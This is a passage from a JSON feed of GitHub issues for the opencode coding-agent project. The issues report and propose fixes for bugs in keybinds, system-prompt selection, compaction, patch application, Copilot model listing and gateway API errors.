nothing ## Open questions for the design review 1. Is a footer hint the right surface, or would you rather show current scope in the picker title or as a header line? 2. Wording. \"all sessions\" / \"this directory\" describes the next action; showing current state instead (\"this directory only\") is the other option, and the two read quite differently in the footer. 3. Should the hint appear at all when the command is unbound, as a discoverability nudge pointing at the palette entry, or stay hidden as proposed? I have this implemented and tested locally, including the unbound and no-worktree cases, and am happy to open a PR if you want it in this shape, or to build whatever shape you prefer. Equally happy for this to be closed if it is not wanted.",
        "url": "https://github.com/anomalyco/opencode/issues/42058",
        "createdAt": "2026-08-12T15:24:41Z",
        "updatedAt": "2026-08-12T15:33:07Z",
        "timestamp": "2026-08-12T15:33:07Z",
        "metrics": {
          "reactions": 1,
          "comments": 2
        },
        "labels": [],
        "author": "thepigdestroyer",
        "state": "open",
        "assignees": [
          "kommander"
        ],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:issue:42059",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Kimi prompt not applied to kimi-for-coding models k3 / k3-256k (falls back to default)",
        "text": "## Description `SystemPrompt.provider()` in `packages/opencode/src/session/system.ts` selects the dedicated Kimi system prompt (`prompt/kimi.txt`, added in #20259 by Moonshot AI) only when the **model API id** contains the substring `kimi`: ```ts if (model.api.id.toLowerCase().includes(\"kimi\")) return [PROMPT_KIMI] return [PROMPT_DEFAULT] ``` However, the official `kimi-for-coding` provider now serves its current flagship models under bare ids that do **not** contain `kimi`: | Provider | Model id | Prompt applied | |---|---|---| | `kimi-for-coding` | `k3` | ❌ default | | `kimi-for-coding` | `k3-256k` | ❌ default | | `kimi-for-coding` | `kimi-for-coding` / `kimi-for-coding-highspeed` | ✅ kimi.txt | | `moonshotai` / `moonshotai-cn` | `kimi-k3` | ✅ kimi.txt | So the very same Kimi K3 model gets the Moonshot-tuned prompt when called via the Moonshot provider, but the generic fallback prompt when called via the official Kimi for Coding endpoint — which is likely the most common way K3 is used. ## Expected behavior Kimi-series models served by the official Kimi providers (`kimi-for-coding`, `moonshotai`, `moonshotai-cn`) should consistently use `PROMPT_KIMI`, regardless of whether the model id itself happens to contain the string `kimi`. ## Suggested fix Match on `providerID` in addition to the model id, e.g.: ```ts if (model.api.id.toLowerCase().includes(\"kimi\") || model.providerID.includes(\"kimi\")) return [PROMPT_KIMI] ``` (Matching bare `k3` by id substring would risk false positives, so keying off the provider seems safer.) ## Environment - opencode 1.18.15 (desktop CLI) - Model: `kimi-for-coding/k3` - Verified by inspecting the compiled binary: the `provider()` selection checks only `model.api.id`, and the resulting system prompt for a `kimi-for-coding/k3` session starts with the default prompt text (`You are opencode, an interactive CLI tool...`) instead of the Kimi one (`You are OpenCode, an interactive general AI agent...`).",
        "url": "https://github.com/anomalyco/opencode/issues/42059",
        "createdAt": "2026-08-12T15:25:36Z",
        "updatedAt": "2026-08-12T22:29:05Z",
        "timestamp": "2026-08-12T22:29:05Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "vokasug",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42060",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "TUI: session directory filter keybind is inactive inside the session picker",
        "text": "### What happened A key bound to `app.toggle.session_directory_filter` does nothing while the session picker is open. The same key works from the main screen. The default for this keybind is `none`, so only users who bind it hit this. ### Steps to reproduce 1. Put this in `tui.json`: ```json { \"keybinds\": { \"app_toggle_session_directory_filter\": \"ctrl+a\" } } ``` 2. On the main screen, press `ctrl+a`. The filter toggles, as expected. 3. Open the session picker (`session.list`), press `ctrl+a`. Nothing happens. ### Cause `app.toggle.session_directory_filter` is in `appBindingCommands`, and that list is gathered under a mode: ```ts useBindings(() => ({ mode: OPENCODE_BASE_MODE, bindings: tuiConfig.keybinds.gather(\"app\", appBindingCommands), })) ``` Opening a dialog pushes `\"modal\"` (`packages/tui/src/ui/dialog.tsx`), so that whole layer goes inactive. The session picker is a dialog. Confirmed by pushing the mode directly in a test: `getOpencodeModeStack(keymap).push(\"modal\")` takes the command from 1 active binding to 0. ### Expected The toggle decides which sessions the picker lists, so it should be reachable while the picker is open. `appGlobalBindingCommands` is gathered without a mode and already holds `session.list` and the quick-switch commands for this reason. ### Second, smaller problem The command ends with an unconditional `dialog.clear()`. If it is triggered while the picker is open, the picker closes, so you cannot see the result of the toggle. The picker's resource queries on `sync.session.query()`, so it re-lists in place if left open. I have a fix for both and will link a PR.",
        "url": "https://github.com/anomalyco/opencode/issues/42060",
        "createdAt": "2026-08-12T15:29:59Z",
        "updatedAt": "2026-08-12T15:31:48Z",
        "timestamp": "2026-08-12T15:31:48Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "thepigdestroyer",
        "state": "open",
        "assignees": [
          "kommander"
        ],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:issue:42064",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: let opencode run ignore an unused inherited stdin pipe",
        "text": "- [x] I have verified this feature I'm about to request hasn't been suggested before. # Describe the enhancement you want to request `opencode run` reads non-TTY stdin to EOF before starting a prompt. That is the right default for intentional input such as: ```sh cat context.txt | opencode run \"review this\" ``` The problem is that some supervisors give every child a pipe and keep its writer open, even when the command has no stdin payload. The prompt then never starts. This minimal Python control retains the pipe deliberately; changing `PIPE` to `DEVNULL` makes the same command progress to the expected invalid-model error: ```python import subprocess args = [\"opencode\", \"run\", \"--model\", \"invalid/provider-model\", \"reply with OK\"] def run(stdin): child = subprocess.Popen(args, stdin=stdin) try: return f\"exit {child.wait(timeout=5)}\" except subprocess.TimeoutExpired: child.terminate() child.wait() return \"still waiting after 5s\" print(\"open pipe:\", run(subprocess.PIPE)) print(\"closed input:\", run(subprocess.DEVNULL)) ``` Could `run` expose an explicit opt-out, for example `--no-stdin`? It would skip only the stdin read for that invocation; the existing default and `pipe + positional prompt` behavior would not change. I have a small implementation and subprocess tests ready if this interface is acceptable. The symptom also appeared in [#11891](https://github.com/anomalyco/opencode/issues/11891), which documented `DEVNULL` as a caller-side workaround. Related [#25508](https://github.com/anomalyco/opencode/issues/25508) and merged [#16300](https://github.com/anomalyco/opencode/pull/16300) show why silently ignoring piped input is not safe. When the caller controls descriptors, `DEVNULL`, `stdin: \"ignore\"`, or closing the writer remains the workaround.",
        "url": "https://github.com/anomalyco/opencode/issues/42064",
        "createdAt": "2026-08-12T15:40:43Z",
        "updatedAt": "2026-08-12T15:42:03Z",
        "timestamp": "2026-08-12T15:42:03Z",
        "metrics": {
          "reactions": 1,
          "comments": 0
        },
        "labels": [],
        "author": "vladislav-miroshnikov",
        "state": "open",
        "assignees": [
          "rekram1-node"
        ],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:issue:42069",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "if i type something open code does not answer",
        "url": "https://github.com/anomalyco/opencode/issues/42069",
        "createdAt": "2026-08-12T15:54:40Z",
        "updatedAt": "2026-08-12T18:18:40Z",
        "timestamp": "2026-08-12T18:18:40Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "muntasir-cloud",
        "state": "closed",
        "assignees": [
          "kommander"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42070",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[BUG ISSUE]: Agent remains stuck in compaction after usage limit resets",
        "text": "### Description ### Description This appears to be a follow-up to #41990 The original issue occurs when a long conversation reaches the point where OpenCode starts summarizing/compacting the conversation and then reports that the usage limit has been reached. In my case, after the usage limit has eventually reset due to time passing, the affected conversation does not recover. When I continue using the same conversation after the limit has reset, OpenCode appears to remain stuck in the compaction/summarization process. It continues attempting to operate in compaction mode rather than returning to the normal agent execution flow. The practical result is that the conversation never properly resumes or finishes. It behaves as though it is permanently in a compaction state. Starting a completely new conversation works normally under the same account, on the same machine, with the same usage limit. This suggests that the problem is specific to the state of the existing conversation after the usage-limit event. ### Steps to reproduce 1. Start a conversation and use it until it becomes long enough for OpenCode to begin conversation summarization/compaction. 2. Continue until the usage limit is reached during this process. 3. Leave the conversation until the usage limit resets naturally. 4. Return to the same conversation. 5. Continue interacting with the agent. 6. Observe that the conversation remains stuck in compaction/summarization instead of returning to normal agent execution. ### Expected behavior After the usage limit resets, the existing conversation should recover and continue normal agent execution. The previous usage-limit event should not leave the conversation permanently stuck in compaction. ### Actual behavior The conversation remains in, or repeatedly returns to, compaction mode even though the usage limit has already reset. The agent effectively never returns to its normal execution cycle, preventing the conversation from completing normally. Creating a new conversation works normally, which further suggests that some state associated with the affected conversation is not being reset correctly. ### Relation to #41990 This is related to the behavior described in #41990, but the failure occurs after the original usage-limit condition has cleared. The original problem is that reaching the usage limit during conversation summarization causes the limit error. This issue is about what happens afterward: once the limit resets, the existing conversation appears to remain permanently stuck in the compaction state. ### Environment * OpenCode version: 1.18.16 * OS: Windows 10 * Provider/model: Big Pickle * Plugins: No response",
        "url": "https://github.com/anomalyco/opencode/issues/42070",
        "createdAt": "2026-08-12T15:56:00Z",
        "updatedAt": "2026-08-12T15:57:31Z",
        "timestamp": "2026-08-12T15:57:31Z",
        "metrics": {
          "reactions": 2,
          "comments": 0
        },
        "labels": [],
        "author": "whilmarbitoco",
        "state": "open",
        "assignees": [
          "jlongster"
        ],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:issue:42071",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "MON OPEN CODE DESKTOP BUG",
        "text": "Hello, the OpenCode application is glitching for me. When I open it, the chat window appears, but when I try to select a model or a provider, nothing shows up—it only gives me the option to add a provider manually. I’ve tried various things and different methods, but the bug persists. Please help me.",
        "url": "https://github.com/anomalyco/opencode/issues/42071",
        "createdAt": "2026-08-12T15:58:40Z",
        "updatedAt": "2026-08-12T18:18:38Z",
        "timestamp": "2026-08-12T18:18:38Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "m222K564",
        "state": "closed",
        "assignees": [
          "Brendonovich"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42074",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "deepseek-v4-flash-free (zen) 429 FreeUsageLimitError on EVERY request from 3 distinct IPs, with and without official client headers",
        "text": "## Summary When calling https://opencode.ai/zen/v1/chat/completions with model deepseek-v4-flash-free using plain curl (or any non‑official HTTP client), every direct API request I tried returns HTTP 429: ```json {\"type\":\"error\",\"error\":{\"type\":\"FreeUsageLimitError\",\"message\":\"Error from provider (Console): Rate limit exceeded. Please try again later.\"}} ``` However, the official OpenCode TUI (opencode CLI) works fine from the same network environment. ### Environment - opencode version: 1.18.16 - Platform: FedoraLinux-44 (WSL on Windows 11), terminal: Windows Terminal - Provider: `opencode` / model `deepseek-v4-flash-free` ### Steps to reproduce 1. POST to `https://opencode.ai/zen/v1/chat/completions` (also `/responses`) with `Authorization: Bearer <valid key>`, `model=deepseek-v4-flash-free`. 2. Observe `HTTP 429` with body: ```json {\"type\":\"error\",\"error\":{\"type\":\"FreeUsageLimitError\",\"message\":\"Error from provider (Console): Rate limit exceeded. Please try again later.\"}} ``` 3. Repeat from different network origins and with official headers. ### What I verified - Tried three distinct exit IPs (AWS proxy, direct IPv4, direct IPv6) – all get 429 immediately, no IP‑based blocking. - Also tested with OpenCode-related headers such as: - x-opencode-client - x-opencode-version ### Key observation The official OpenCode TUI succeeds while direct OpenAI-compatible API calls fail consistently. This suggests that there may be a difference in: - endpoint routing, - authentication flow, - request headers, - or backend handling between the TUI and direct API usage.",
        "url": "https://github.com/anomalyco/opencode/issues/42074",
        "createdAt": "2026-08-12T16:06:29Z",
        "updatedAt": "2026-08-12T16:27:52Z",
        "timestamp": "2026-08-12T16:27:52Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "cubelitblade",
        "state": "closed",
        "assignees": [
          "fwang"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42077",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Opencode bot compaction error",
        "text": "### Description Hello, I’d like to report a problem I encountered today. When the context length reaches around 85%, the bot is supposed to compact the context. However, it displays the message **“Free subscription used, come back in 1s”**, but nothing actually happens. If I start a new session, the bot works normally again until the context reaches the compaction point, where the same issue occurs. It seems like the context compaction process is not being triggered correctly, and instead the system gets stuck on the subscription/rate-limit message. Could you please look into this issue? ### Plugins _No response_ ### OpenCode version Latest ### Steps to reproduce 1. /compact or talk to him until he compact the conversation 2. then you will see it ### Screenshot and/or share link _No response_ ### Operating System Windows 11 ### Terminal Windows Terminal it occur every opencode zen bot maybe more",
        "url": "https://github.com/anomalyco/opencode/issues/42077",
        "createdAt": "2026-08-12T16:13:41Z",
        "updatedAt": "2026-08-12T16:35:28Z",
        "timestamp": "2026-08-12T16:35:28Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "OziasIsMe",
        "state": "closed",
        "assignees": [
          "nexxeln"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42081",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "apply_patch deletes the final blank line of files that end with one",
        "text": "### Description `apply_patch` deletes the final blank line of any file whose content ends with `\\n\\n`, even when the patch doesn't touch that line. The tool's own response confirms the unrequested change: it reports 2 deletions for a patch that asked for 1, and repeated edits keep eating one trailing newline each time. Root cause: `derive()` in `packages/core/src/patch.ts:71-81` uses the same test (\"last array element is empty\") for two different things. On the way in it pops the sentinel empty string produced by `split(\"\\n\")`; on the way out it checks `updated.at(-1) !== \"\"` to decide whether to push the sentinel back. When the file's last line is genuinely blank, the last element is still `\"\"` after popping, so the sentinel is never restored and one `\\n` is lost. The legacy implementation has the same flaw (`packages/opencode/src/patch/index.ts:314-327`, under the comment \"Ensure trailing newline\"). Only LF files are affected (a CRLF file's last split element is `\"\\r\"`, not `\"\"`). Not the same as #37090 (CRLF→LF conversion) or #29124 (about adding a newline to files that lack one). Disclosure: found and reproduced with AI assistance; I reviewed and verified every claim locally. ### Plugins _No response_ ### OpenCode version dev @ 959c8bd ### Steps to reproduce 1. Create `f.txt` containing `alpha\\nbeta\\n\\n` (ends with a blank line). 2. Apply a patch that only changes `alpha`: ``` *** Begin Patch *** Update File: f.txt @@ -alpha +ALPHA *** End Patch ``` 3. Expected on disk: `ALPHA\\nbeta\\n\\n`. Actual: `ALPHA\\nbeta\\n` — the trailing blank line is gone. The unified diff the tool reports back shows the unrequested deletion: ``` @@ -1,3 +1,2 @@ -alpha +ALPHA beta - ``` Minimal reproduction against the function itself: ```ts import { Patch } from \"@opencode-ai/core/patch\" Patch.derive(\"f.txt\", [{ oldLines: [\"alpha\"], newLines: [\"ALPHA\"] }], \"alpha\\nbeta\\n\\n\").content // returns \"ALPHA\\nbeta\\n\", expected \"ALPHA\\nbeta\\n\\n\" ``` ### Screenshot and/or share link _No response_ ### Operating System macOS 15 ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42081",
        "createdAt": "2026-08-12T16:22:08Z",
        "updatedAt": "2026-08-12T16:23:21Z",
        "timestamp": "2026-08-12T16:23:21Z",
        "metrics": {
          "reactions": 1,
          "comments": 0
        },
        "labels": [],
        "author": "codeAnqiang-ma",
        "state": "open",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42082",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Todo state never flows back to the model: agents forget todowrite maintenance (proposal: inject via SessionReminders)",
        "text": "## Summary The `todowrite` tool asks the agent to \"update status in real time\", but the model has **no feedback channel for current todo state** — it only sees todo state in its own past `todowrite` tool outputs. As the conversation grows (and especially after compaction), the agent reliably forgets to maintain the list: stale `in_progress` items linger, completed work stays unmarked. This is structural, not a prompting problem. ## Root cause (verified against current source) 1. **No prompt injection point for todo state.** `Todo.get` (`packages/opencode/src/session/todo.ts`) is only consumed by the `todowrite` tool itself (`packages/opencode/src/tool/todo.ts`) and the HTTP API route (`packages/opencode/src/server/routes/instance/httpapi/groups/session.ts`). Nothing ever reads the current todo list back into the model's context. 2. **Compaction drops todo awareness entirely.** `packages/opencode/src/session/compaction.ts` has no reference to todos; the summary preserves nothing about task-list state. 3. **Meanwhile, the reminder infrastructure for exactly this kind of injection already exists.** `SessionReminders.apply` (`packages/opencode/src/session/reminders.ts`) runs on **every agent step** (called from `session/prompt.ts:1180`) and appends `synthetic: true` text parts to the last user message — this is how `PROMPT_PLAN` / `BUILD_SWITCH` enter the context. Notably, the non-persistent `userMessage.parts.push(...)` path exists for injections that must not be written back to the DB. So today: todo state is write-only from the model's perspective. Rules like \"update status in real time; don't batch completions\" (in `tool/todowrite.txt`) are unenforceable soft constraints. ## Proposal: Todo Reminder Injection Follow the existing `SessionReminders` pattern. In `SessionReminders.apply`: 1. `Todo.Service.get(sessionID)` 2. If the list has non-completed items, `userMessage.parts.push(...)` (non-persistent path, same as `PROMPT_PLAN`) a compact status reminder, e.g.: ``` <todo-reminder> Current task list (as of last todowrite): - in_progress: <content> - pending: <content 1>, <content 2>, ... Update via todowrite when tasks complete or change. </todo-reminder> ``` Effect: the model sees the current todo state on every step, so \"forgetting\" is eliminated at the mechanism level instead of relying on agent discipline. Cost: a few dozen tokens per step; the synthetic part is never persisted, so no history pollution. Estimated change: ~20 lines in `session/reminders.ts` (add `Todo.Service` dependency + conditional push). No schema, hook, or tool-protocol changes. ## Optional follow-ups (not required for the core fix) - **Compaction:** include current todo state in the compaction summary (`session/compaction.ts`) so task context survives compaction. - **Staleness signal:** scan message history for the last `todowrite` call; if it is >N steps old with open items, strengthen the reminder (\"item X has been in_progress for N steps without an update\"). ## Context Observed in real multi-hour sessions: the agent completed work (commits, reviews, integration) while the todo list stayed stale for many steps, only updated when the user noticed. The todo list's value is surfacing progress to the user — but that value silently degrades when the model is the only maintainer and the state never comes back to it. Happy to help refine the design or test a patch.",
        "url": "https://github.com/anomalyco/opencode/issues/42082",
        "createdAt": "2026-08-12T16:30:30Z",
        "updatedAt": "2026-08-12T18:47:37Z",
        "timestamp": "2026-08-12T18:47:37Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "cenglin123",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42083",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "GitHub Copilot provider shows zero models: all models return `model_picker_enabled: false`",
        "text": "## Summary On opencode 1.18.15 (Arch package), the `github-copilot` provider never appears in the model picker. `opencode auth login -p github-copilot` works (auth succeeds), but `opencode models github-copilot` returns \"Provider not found\", and `/models` in the TUI shows no Copilot models. ## Root cause In `packages/opencode/src/plugin/github-copilot/copilot.ts`, the `models()` hook returns only models where `result.pickerEnabled.has(model.api.id)`: ```ts return CopilotModels.get(...) .then((result) => { models = result.models return Object.fromEntries( Object.entries(result.models).filter(([, model]) => result.pickerEnabled.has(model.api.id)), ) }) ``` `pickerEnabled` (built in `models.ts:257`) is the set of models with `model_picker_enabled: true` in the API response: ```ts pickerEnabled: new Set([...remote].filter(([, item]) => item.model_picker_enabled).map(([id]) => id)), ``` GitHub's `GET https://api.githubcopilot.com/models` currently returns **`model_picker_enabled: false` for every single model** — even ones that are `policy.state: \"enabled\"` and fully usable. So `pickerEnabled` is always empty, the filter drops everything, and the provider surfaces zero models. ## Evidence Using a valid, freshly-authenticated Copilot OAuth token (device flow, `client_id=Ov23li8tweQw6odWQebz`): ``` HTTP 200, total models: 47 policy states: disabled: 18 | none: 23 (internal: copilot-search-*, exec-agent-*) | enabled: 6 model_picker_enabled=true: 0 ``` The 6 `policy.state: \"enabled\"` models (gpt-4o, gpt-5-mini, claude-haiku-4.5, gpt-4.1, mai-code-1-flash, mai-code-1.1-flash) pass the existing `usable()` check (`models.ts:207`), and chat completions against them work fine: ``` POST https://api.githubcopilot.com/chat/completions → 200, \"Hi there! ...\" ``` So the account/subscription is fine — the filter is the problem. Note: exchanging the OAuth token for a Copilot session token via `api.github.com/copilot_internal/v2/token` and using *that* against `/models` returns **403**, so the session-token route is not a workaround either. ## Suggested fix Filter by the already-existing `usable()` predicate (`policy.state !== \"disabled\"` + has `max_output_tokens`/`max_prompt_tokens` + has `tool_calls`) instead of, or in addition to, `model_picker_enabled`. Either: - Return `result.models` (already filtered by `usable()` inside `CopilotModels.get`) without the `pickerEnabled` filter, or - Union `pickerEnabled` with the usable set. `model_picker_enabled` appears to be a deprecated/no-longer-reliable signal from GitHub's API. ## Workaround A local plugin overriding the provider's `models()` hook to return all usable models (same `usable()` criteria, no picker filter) restores all 25 available Copilot models: ```js // ~/.config/opencode/plugins/copilot-picker-fix.js export const CopilotPickerFix = async () => ({ provider: { id: \"github-copilot\", async models(provider, ctx) { if (ctx.auth?.type !== \"oauth\") return provider.models const base = ctx.auth.enterpriseUrl ? `https://copilot-api.${ctx.auth.enterpriseUrl.replace(/^https?:\\/\\//, \"\").replace(/\\/$/, \"\")}` : \"https://api.githubcopilot.com\" const r = await fetch(`${base}/models`, { headers: { Authorization: `Bearer ${ctx.auth.refresh}`, \"User-Agent\": \"opencode/1.18.15\", \"X-GitHub-Api-Version\": \"2026-06-01\" }, signal: AbortSignal.timeout(5000), }) if (!r.ok) return provider.models const j = await r.json() const models = {} for (const m of j.data || []) { if (m.policy?.state === \"disabled\") continue const lim = m.capabilities?.limits if (!lim?.max_output_tokens || !lim?.max_prompt_tokens) continue if (m.capabilities?.supports?.tool_calls === undefined) continue const isMsg = m.supported_endpoints?.includes(\"/v1/messages\") models[m.id] = { id: m.id, providerID: \"github-copilot\", api: { id: m.id, url: isMsg ? `${base}/v1` : base, npm: isMsg ? \"@ai-sdk/anthropic\" : \"@ai-sdk/github-copilot\" }, status: \"active\", limit: { context: lim.max_context_window_tokens ?? lim.max_prompt_tokens, input: lim.max_prompt_tokens, output: lim.max_output_tokens }, capabilities: { temperature: true, reasoning: true, attachment: true, toolcall: m.capabilities.supports.tool_calls, input: { text: true, audio: false, image: !!m.capabilities.supports.vision, video: false, pdf: false }, output: { text: true, audio: false, image: false, video: false, pdf: false }, interleaved: false }, family: m.capabilities.family, name: m.name, cost: { input: 0, output: 0, cache: { read: 0, write: 0 } }, options: {}, headers: {}, release_date: m.version.startsWith(`${m.id}-`) ? m.version.slice(m.id.length + 1) : m.version, } } return models }, }, }) ``` ## Environment - opencode 1.18.15-1 (Arch Linux package) - GitHub Copilot subscription: active (chat completions return 200) - OAuth apps tested: opencode's own (`Ov23li8tweQw6odWQebz`) and the VSCode Copilot app (`Iv1.b507a08c87ecfe98`) — same result either way",
        "url": "https://github.com/anomalyco/opencode/issues/42083",
        "createdAt": "2026-08-12T16:33:43Z",
        "updatedAt": "2026-08-13T15:40:38Z",
        "timestamp": "2026-08-13T15:40:38Z",
        "metrics": {
          "reactions": 1,
          "comments": 4
        },
        "labels": [],
        "author": "Keylessboi",
        "state": "open",
        "assignees": [
          "nexxeln"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42089",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "v2 provider: HTTP 400 from Copilot model restarts active session server",
        "text": "## Summary An active session repeatedly restarts when GitHub Copilot rejects `gpt-5.6-sol` on the `/chat/completions` endpoint. This interrupts tool calls and requires the user to ask the agent to continue. ## Environment - opencode version: `0.0.0-next-17297` - OS: Darwin 25.6.0, arm64 - Terminal: Ghostty (`TERM=xterm-256color`, `COLORTERM=truecolor`) - Shell: `/bin/zsh` - Install/channel: v2 next/dev runtime - Active plugins: - `boxedcode-atlassian-mcp.ts` - `boxedcode-box.ts` - `boxedcode-config.ts` - `boxedcode-local.ts` - `boxedcode-task.ts` - `zzz.ts` - `jj.ts` - `boxedcode.js` ## Reproduction 1. Configure an agent with `\"model\": \"github-copilot/gpt-5.6-sol\"`. 2. Start a session and perform a multi-step task involving tool calls. 3. Continue interacting with the session until the provider rejects a request to `/chat/completions`. ## Expected Behavior Either route the model through a supported endpoint or report the provider error without restarting the active session server. Tool and conversation state should remain usable. ## Actual Behavior The server restarts and interrupts the current operation. This happened repeatedly in the same session, including while invoking an interactive question tool. The server log contains: ```text Failed to drain Session AI.Error: RequestExecutor.execute: Provider request failed with HTTP 400: model \"gpt-5.6-sol\" is not accessible via the /chat/completions endpoint ``` Relevant sanitized stack: ```text at RequestExecutor.execute (ai/src/route/executor.ts:244:25) at SessionRunner.callModel (core/src/session/runner/llm.ts:191:32) at SessionRunner.runSteps (core/src/session/runner/llm.ts:133:16) at SessionRunner.drain (core/src/session/runner/llm.ts:124:26) at ServerProcess.start (cli/src/server-process.ts:73:29) ``` ## Additional Context - The configured provider is `github-copilot`. - The configured agent variant is `medium`. - The failure occurred repeatedly during one session rather than only at startup. - After each restart, the user was shown: “The server restarted while you were working. Continue from where you left off without repeating completed work.” - No workaround was attempted during the session.",
        "url": "https://github.com/anomalyco/opencode/issues/42089",
        "createdAt": "2026-08-12T17:09:57Z",
        "updatedAt": "2026-08-13T13:03:20Z",
        "timestamp": "2026-08-13T13:03:20Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [
          "2.0"
        ],
        "author": "stevoland",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:issue:42090",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[OpenCode Go] deepseek-v4-pro via Responses API: 400 tools[N].function missing field 'name' (web_search tool rejected)",
        "text": "### Summary `deepseek-v4-pro` via OpenCode Go (`https://opencode.ai/zen/go/v1`, Responses API) returns HTTP 400 from Codex: ``` Error from provider (Console Go): Upstream request failed: [invalid_request_error] Failed to deserialize the JSON body into the target type: tools[8].function: missing field `name` ``` The same setup works with `deepseek-v4-flash`, and works with `deepseek-v4-pro` when using the DeepSeek official API directly. ### Environment - Client: OpenAI Codex CLI 0.147.0 (`wire_api = responses`) - Provider base URL: `https://opencode.ai/zen/go/v1` - Model: `deepseek-v4-pro` - Reasoning effort: high / max ### Root cause (confirmed by capturing the actual request) I captured the exact request body sent by Codex through a local proxy. `tools[8]` is: ```json {\"type\": \"web_search\", \"external_web_access\": {...}} ``` Per the OpenAI Responses API spec, a `web_search` tool is a non-function tool and has **no `name` field**. The Console Go upstream appears to parse every tool as a function tool and requires `function.name`, hence: ``` tools[8].function: missing field `name` ``` This is the same root cause described in PR #40210 (\"toOaCompatibleRequest mapped every tool into {\"type\":\"function\",\"function\":{...}}, producing an undefined name that upstream serde rejects ... 400ing the whole request\"). It seems that fix is not yet effective on the `/v1/responses` path for `deepseek-v4-pro` (tested 2026-08-13, still 400). ### Expected behavior Non-function tools such as `web_search` should either be accepted as-is (with no `function.name` requirement) or filtered out when converting to the upstream chat-completions format, while function tools keep their nested `function.name` (as PR #40210 states). ### Repro 1. Configure Codex with `model = \"deepseek-v4-pro\"`, `base_url = \"https://opencode.ai/zen/go/v1\"`, `wire_api = \"responses\"`. 2. Run any tool-enabled request (e.g. `codex exec \"Reply OK\"`). 3. Observe the 400 above. Flash model on the same config succeeds. ### Related - #24224, #24344, #27047, #34331 - PR #40210",
        "url": "https://github.com/anomalyco/opencode/issues/42090",
        "createdAt": "2026-08-12T17:10:41Z",
        "updatedAt": "2026-08-13T14:46:36Z",
        "timestamp": "2026-08-13T14:46:36Z",
        "metrics": {
          "reactions": 1,
          "comments": 6
        },
        "labels": [],
        "author": "Seegin",
        "state": "open",
        "assignees": [
          "fwang"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42091",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "BUG: `deepseek-v4-pro` on zen/go `/v1/messages` returns 400 `Empty input messages` for string content (flash works on same request)",
        "text": "## Summary On the OpenCode Zen gateway `https://opencode.ai/zen/go`, the Anthropic-compatible endpoint `POST /v1/messages` fails for **`deepseek-v4-pro`** when `messages[].content` is passed as a **string**. The exact same request with **`deepseek-v4-flash`** returns 200 OK. Switching `deepseek-v4-pro` to the **array form** of `content` also works. This only affects `deepseek-v4-pro` on the Anthropic endpoint — the OpenAI-compatible endpoint and `deepseek-v4-flash` are unaffected. ## Environment | Item | Value | |---|---| | Gateway endpoint | `https://opencode.ai/zen/go` | | Failing endpoint | `POST /v1/messages` (Anthropic-compatible) | | API version header | `anthropic-version: 2023-06-01` | | Failing model | `deepseek-v4-pro` | | Control model | `deepseek-v4-flash` (same request returns 200) | | Auth | `x-api-key: <token>` | ## Reproduction ```bash # Fails: 400 Empty input messages curl -s https://opencode.ai/zen/go/v1/messages \\ -H \"x-api-key: $KEY\" \\ -H \"anthropic-version: 2023-06-01\" \\ -H \"content-type: application/json\" \\ -d '{\"model\":\"deepseek-v4-pro\",\"max_tokens\":30,\"messages\":[{\"role\":\"user\",\"content\":\"hi\"}]}' # Control: same request with deepseek-v4-flash returns 200 OK curl -s https://opencode.ai/zen/go/v1/messages \\ -H \"x-api-key: $KEY\" \\ -H \"anthropic-version: 2023-06-01\" \\ -H \"content-type: application/json\" 